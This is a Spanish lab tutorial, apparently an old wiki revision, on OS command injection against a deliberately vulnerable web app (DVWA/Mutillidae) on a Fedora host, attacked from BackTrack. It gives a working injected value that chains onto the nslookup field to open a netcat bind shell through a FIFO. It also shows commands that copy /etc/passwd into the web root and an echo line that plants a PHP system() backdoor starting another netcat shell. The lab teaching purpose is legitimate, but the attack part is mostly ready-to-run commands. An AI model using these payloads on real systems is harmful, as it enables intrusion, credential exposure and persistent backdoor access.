¡Esta es una revisión vieja del documento!
¿Qué es Inyección de Comando?
La Inyección de comandos ocurre cuando un atacante puede ejecutar comandos del sistema operativo o scripts en el servidor desde la aplicación web.
Esta potencial de vulnerabilidad se produce cuando una aplicación web le permiten hacer comúnmente un nslookup, whois, ping, traceroute y más cosas desde su página web. Puede probar la vulnerabilidad utilizando una técnica llamada fuzzing, donde un “;” o “|” o “||” o “&” o “&&” se agrega al final de la entrada esperada (p. ej., www.colegiomontessori.com) seguido de un comando (p. ej., cat / etc / passwd).
¿Qué es netcat?
Netcat es un servicio que se usa para leer y escribir usando protocolos TCP o UDP. Netcat está diseñado para ser un dispositivo de “back-end” confiable que puede ser utilizado directa o fácilmente por otros programas y scripts.
Al mismo tiempo, es una herramienta de depuración e investigación ya que puede producir casi cualquier tipo de correlación que se necesite y tiene una serie de capacidades integradas.
Netcat a menudo se conoce como una “navaja del ejército suizo para TCP / IP”. Su lista de funciones incluye exploración de puertos, transferencia de archivos y escucha de puertos, y puede utilizarse como puerta trasera.
Pre-requisito para hacer estas practicas
Tener instalado un Fedora
Nota: El acceso remoto a la base de datos se ha activado para proporcionar una vulnerabilidad adicional.
Instalación de BackTrack 5 R1
En esta Práctica haremos los siguiente
A continuación, vamos a ejecutar NetCat a la prueba nslookup
Instrucciones:
www.colegiomontessori.com; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444> /tmp/pipe
Hacemos un FIFO llamada pipe.
Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos.
Esto permitirá que dos procesos se conecten a netcat.
nc -l 4444, le dice a netcat que escuche y permita conexiones en el puerto 4444.
NOTA: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA
Ahora tenemos que observar la pestaña superior izquierda, hay una rueda de conexión que gira constantemente.
También hay que observar en la esquina inferior izquierda, la barra de estado muestra los datos de transferencia de mensajes.
Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.
Conéctese a Netcat
Escribir las siguientes sentencias en el BackTrack
Reemplazar 192.168.1.111 con la dirección IP de Fedora.
nc 192.168.1.111 4444
Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444
hostname
Este es el nombre de host del servidor que aloja DVWA.
whoami
Es decir, ¿con quién me conecto?
pwd
directorio de trabajo
uname -a
muestra informacion del sistema operatico
cat /etc/passwd > passwd.txt
crea passwd.txt localizado en /var/www/html/multillidae ls -l $PWD/passwd.txt
lista el fichero passwd.txt
volvemos al Firefox y abrimos otra pestaña y escribimos
Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack.
Ahora podemos crear un archivo en el servidor web Apache en el directorio /var/www/html/mutillidae.
Vamos a crear un script php que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup.
echo "<?php system(\"mkfifo /tmp/pipe2;sh /tmp/pipe2 | nc -l 3333 > /tmp/pipe2\"); ?>" > nc_connect.php ls -l $PWD/nc_connect.php chmod 700 nc_connect.php ls -l $PWD/nc_connect.php cat nc_connect.php